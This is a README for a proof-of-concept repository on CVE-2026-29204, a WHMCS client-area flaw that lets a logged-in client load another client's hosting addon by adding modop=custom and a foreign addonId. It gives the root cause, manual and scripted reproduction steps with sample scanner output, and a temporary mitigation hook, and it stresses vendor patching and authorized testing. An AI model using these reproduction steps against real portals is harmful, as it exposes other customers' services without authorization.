## https://sploitus.com/exploit?id=73D92211-ECBA-51FA-AFA7-70EA0D985623
# CVE-2026-29204 ā WHMCS client area addon context PoC
Proof-of-concept materials for **CVE-2026-29204** (WHMCS security update of 2026-05-12): insufficient authorization in the client area when `productdetails` accepts a foreign hosting-addon ID together with `modop=custom`.
Use only on systems you own or are explicitly authorized to test. Do not point this at third-party production portals.
## Publication status
A **public GitHub release** of the HTTP PoC and related lab scripts is **on hold** until WHMCS replies to our outreach on community wording and publication. **Upgrade to a vendor-patched build remains the primary message**; any hook we ship later would be supplementary documentation, not a substitute for patching. This tree may exist privately for preparation and review in the meantime.
## Remediation priority (read this first)
**Upgrade to a vendor-patched WHMCS build is the only supported remediation.** For supported branches, WHMCS documents fixes in **8.13.3** and **9.0.4** (see [References](#references)). Apply the vendor security update through your normal change-management process as soon as you can.
The optional hook in `mitigation/` is **not** a substitute for that upgrade. It does not repair core authorization logic, is not vendor-supported, may break with future WHMCS or module changes, and was written for one narrow client-area request shape observed in lab testing. Treat it only as **temporary, optional defense in depth** while you plan and execute an upgradeāor during a short, documented bridge window when an immediate upgrade is impossible.
**Do not** treat hook installation as ādone,ā **do not** skip vendor patches because the hook appears to help in a lab PoC, and **do not** rely on this repository as your security program. After upgrading, remove the hook unless you have a separate, documented reason to keep custom client-area guards.
## Affected scope
- WHMCS **7.4 and later** are in the vendor advisory range.
- The HTTP PoC and optional hook were validated on a private **7.10.x** lab instance only.
- Vendor patches are published for **8.13.3** and **9.0.4**. **Upgrade** to a fixed build on a supported branch; do not treat the hook as an alternative to patching.
## Root cause (short)
1. `clientarea.php?action=productdetails&id=` loads a service that belongs to the logged-in client.
2. When `modop=custom` and `addonId` are present, WHMCS replaces the in-memory service context with `WHMCS\Addon::setAddonId()` **without** checking that the addon belongs to the session client (or to the service in `id`).
3. Module SSO, custom module actions, and related client-area module flows then run against the swapped addon context. Contact permissions such as `productsso` / `manageproducts` are checked, but **addon ownership is not**.
`addonId` without `modop=custom` does not trigger the swap in the client-area flows exercised by this PoC.
## Transparency and reviewability
Most of the WHMCS application core is not meaningfully reviewable by operators, integrators, or the wider security community. Authorization mistakes in client-area routing are exactly the class of defect that open, inspectable code is meant to surface early. A billing and client portal that handles authentication, service context, and third-party module hand-offs should not depend on obscurity for its safety model. WHMCS should publish a substantial, reviewable portion of the application under a license that allows independent audit, regression testing, and responsible disclosure without forcing researchers and operators to work blind.
## Repository layout
| Path | Purpose |
|------|---------|
| `poc/poc_cli.py` | Python CLI: login, fetch clean / foreign / own pages, print markers and verdict |
| `poc/sample-queries.sql` | Read-only SQL helpers to pick owned service vs foreign addon IDs in a lab database |
| `mitigation/includes/hooks/cve_addonid_clientarea_guard.php` | **Optional, temporary** hookānot a vendor patch; use only while planning upgrade (see [Remediation priority](#remediation-priority-read-this-first)) |
## Prerequisites for the PoC
- A lab WHMCS instance with at least one **owned** active service for the test client.
- A **foreign** row in `tblhostingaddons` (different `userid`) whose addon module is relevant for demonstration (for example MarketConnect SpamExperts).
- A normal client login with permission to open product details and SSO/custom module actions.
## Manual reproduction
1. Log in to the client area as the test client.
2. Open an owned service: `clientarea.php?action=productdetails&id=`.
3. Open the PoC URL on the **same** service id with a **foreign** addon id:
```text
clientarea.php?action=productdetails&id=&modop=custom&addonId=
```
4. **Vulnerable:** foreign addon module UI appears (for example SpamExperts control) while the page `id` still references your service.
5. **Control:** same URL without `modop=custom`, or with your own addon id, should not show the foreign module swap.
6. **With optional hook installed (lab only):** a foreign URL may redirect to `clientarea.php?action=productdetails&id=` without `modop` / `addonId`. That behavior is **not** proof of full remediation; upgrade to a vendor-patched build remains required.
## Scripted reproduction (`poc/poc_cli.py`)
Logs in through `/dologin.php`, fetches clean / foreign / own `productdetails` pages, prints marker hits, and emits a coarse verdict.
```bash
python3 -m pip install --user requests
chmod +x poc/poc_cli.py
python3 poc/poc_cli.py \
--base-url 'https://whmcs.example.test' \
--username 'client@example.test' \
--password 'secret' \
--service-id 4556 \
--foreign-addon-id 1180 \
--own-addon-id 1219
```
Optional NDJSON evidence log for lab runs:
```bash
python3 poc/poc_cli.py ... --evidence-log /tmp/cve-2026-29204-cli.ndjson
```
Use `--insecure` only when testing a lab instance with a broken TLS chain.
If the portal enforces client 2FA, password login from `poc_cli.py` may fail; use a browser-exported cookie jar with `--cookie-jar` instead.
### Language and locale coverage
The **HTTP CLI PoC** is **not** locale-neutral end to end. Password-login success checks and several HTML markers were written for **Romanian and English** client-area strings (for example welcome/logout text, some module labels, and a few theme-specific phrases). Other client-area languages may still reproduce the issue, but automated login or marker hits can be incomplete or misleading.
For non-RO/EN portals, prefer **`--cookie-jar`** after a normal browser login in the target language. Treat **`final:` URL**, **`body_delta_vs_clean`**, and **`addon_context_in_final_url`** as the primary automated signals; treat marker lists as optional hints.
The **optional hook** does **not** match on translated UI text. It validates `action`, `modop`, `addonId`, and `id` against `tblhostingaddons` ownership and session `uid`, then redirects. That logic is **independent of client-area language**, theme locale, and module display stringsāsubject to the usual limits (supported WHMCS versions, this one `productdetails` request shape, and your data model).
### Sample CLI output (lab)
Example command (replace placeholders with your lab values):
```bash
./poc_cli.py \
--base-url https://whmcs.example.test \
--username client@example.test \
--password secret \
--service-id 4556 \
--foreign-addon-id 1180 \
--own-addon-id 1219
```
**Without the hook workaround** (foreign addon context still accepted):
```text
auth: password login OK
login: OK
[clean] status=200 bytes=386788
request: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556
final: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556
markers: spamexperts_module, spamexperts_login_ro, order_activate_addon, cpanel_shortcuts, manage_your_email
[foreign] status=200 bytes=380762
request: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1180
final: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1180
markers: spamexperts_module, spamexperts_login_ro, manage_your_email
[own] status=200 bytes=380762
request: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1219
final: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1219
markers: spamexperts_module, spamexperts_login_ro, manage_your_email
verdict: likely_vulnerable_foreign_addon_context
```
**With the hook workaround installed** (foreign request redirected to the clean service page):
```text
auth: password login OK
login: OK
[clean] status=200 bytes=386788
request: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556
final: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556
markers: spamexperts_module, spamexperts_login_ro, order_activate_addon, cpanel_shortcuts, manage_your_email
[foreign] status=200 bytes=386788
request: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1180
final: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556
markers: spamexperts_module, spamexperts_login_ro, order_activate_addon, cpanel_shortcuts, manage_your_email
[own] status=200 bytes=380762
request: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1219
final: https://whmcs.example.test/clientarea.php?action=productdetails&id=4556&modop=custom&addonId=1219
markers: spamexperts_module, spamexperts_login_ro, manage_your_email
verdict: mitigated_redirect
```
Read `final:` on the **foreign** row: vulnerable runs keep `modop=custom&addonId=` and a smaller body than `clean`; mitigated runs drop those parameters and match the `clean` body size. The **own** row should still keep `modop=custom&addonId=` when the addon belongs to the logged-in client.
A `mitigated_redirect` verdict from the CLI means the **optional hook** redirected one tested URL in your lab. It does **not** certify that your installation is fully patched, that all attack paths are closed, or that you can defer a vendor upgrade.
## Optional temporary hook (not a substitute for upgrade)
**Primary remediation:** upgrade to WHMCS **8.13.3**, **9.0.4**, or another build that includes the vendor fix for [CVE-2026-29204](https://help.whmcs.com/m/125386/l/2073908). Follow WHMCS release notes, backup requirements, and your own change window. If your branch cannot receive those builds, work with WHMCS support on a supported migration path rather than treating this repository as a long-term fix.
**What the hook is:** an **unofficial**, community-contributed guard that runs on `ClientAreaProductDetailsPreModuleTemplate` (before module context swap) and redirects when `addonId` is not owned by the session client or does not match the page service `hostingid`. It targets one parameter combination (`action=productdetails`, `modop=custom`, `addonId`) seen in this PoC. Authorization uses request parameters and database ownership, **not** translated labels, so it applies the same way regardless of client-area language.
**What the hook is not:** a vendor patch, a complete authorization rewrite, a warranty of safety, or coverage for admin-area flows, API routes, other client-area actions, custom modules, themes, or future WHMCS changes. It may fail open or fail closed in ways this PoC does not exercise.
**Operational expectations:** monitor Activity Log for unexpected Single Sign-On or service access (per vendor guidance). Re-test after WHMCS, PHP, or module updates. **Remove the hook after upgrading** unless you maintain a separate, documented client-area policy that still requires it.
Install only if you accept those limits and still need a **short-term** bridge:
```bash
cp mitigation/includes/hooks/cve_addonid_clientarea_guard.php /path/to/whmcs/includes/hooks/
```
If you cannot upgrade promptly, document who approved temporary use, when upgrade is scheduled, and who owns removal after patching.
## References
- [CVE-2026-29204 ā WHMCS Security Update 05/12/2026](https://help.whmcs.com/m/125386/l/2073908) (WHMCS Guides & Tutorials)
- [WHMCS 8.13 change log](https://docs.whmcs.com/releases/8-13/8-13-change-log/) ā vendor fix in **8.13.3** (CVE-2026-29204)
- [WHMCS 9.0 change log](https://docs.whmcs.com/releases/9-0/9-0-change-log/) ā vendor fix in **9.0.4** (CVE-2026-29204)
- WHMCS security update **2026-05-12** / **CVE-2026-29204**
## Legal
This repository is provided **as is**, without warranty of any kind, express or implied. The authors and contributors **do not assume** any responsibility or liability for how you use, copy, modify, or rely on these materials.
**No guarantees.** We do not warrant that the descriptions, reproduction steps, sample commands, SQL helpers, hook workaround, or verdict logic are complete, current, accurate, or suitable for your environment. WHMCS releases, modules, themes, hosting stacks, and vendor guidance change over time; what worked in one lab may not apply elsewhere.
**No professional relationship.** Nothing here is legal advice, security consulting, penetration testing on your behalf, or an official WHMCS endorsement. We are **not affiliated with, sponsored by, or speaking for** WHMCS or any vendor named in examples. Product names and CVE identifiers are used for identification only.
**Your obligations.** You are solely responsible for determining whether you may test, deploy, or share this material. Use it only on systems you own or are **explicitly authorized** to assess. Unauthorized access to computer systems is illegal in many jurisdictions. You must comply with applicable law, contract, privacy rules, and organizational policy.
**No duty to investigate.** The authors **do not know** your installation, data, users, contracts, or risk tolerance. We **do not know** whether your instance is affected, patched, misconfigured, or already compromised. We **do not monitor** your systems and **do not** commit to updates when vendor advisories change.
**Hook and PoC limits.** The included hook is an **optional, temporary** measure and **does not replace** upgrading to a vendor-patched WHMCS build. It is not a vendor patch or a complete fix. The CLI PoC performs coarse HTTP checks and marker matching; it can produce false positives or false negatives. A `mitigated_redirect` result validates one lab scenario with the hook presentānot production-wide security. **We do not guarantee** that installation, removal, or non-use of any file in this repository will prevent abuse, data loss, downtime, regulatory exposure, or reputational harm.
**No indemnity.** To the fullest extent permitted by law, the authors and contributors disclaim liability for direct, indirect, incidental, special, consequential, or punitive damages, and for loss of data, revenue, goodwill, or business interruption, arising from or related to this repositoryāeven if advised of the possibility of such damages.
**No endorsement of misuse.** Publishing proof-of-concept or mitigation notes is not encouragement to attack third parties, bypass controls without authorization, or access accounts or services you do not own.
If you do not accept these terms, **do not use** this repository.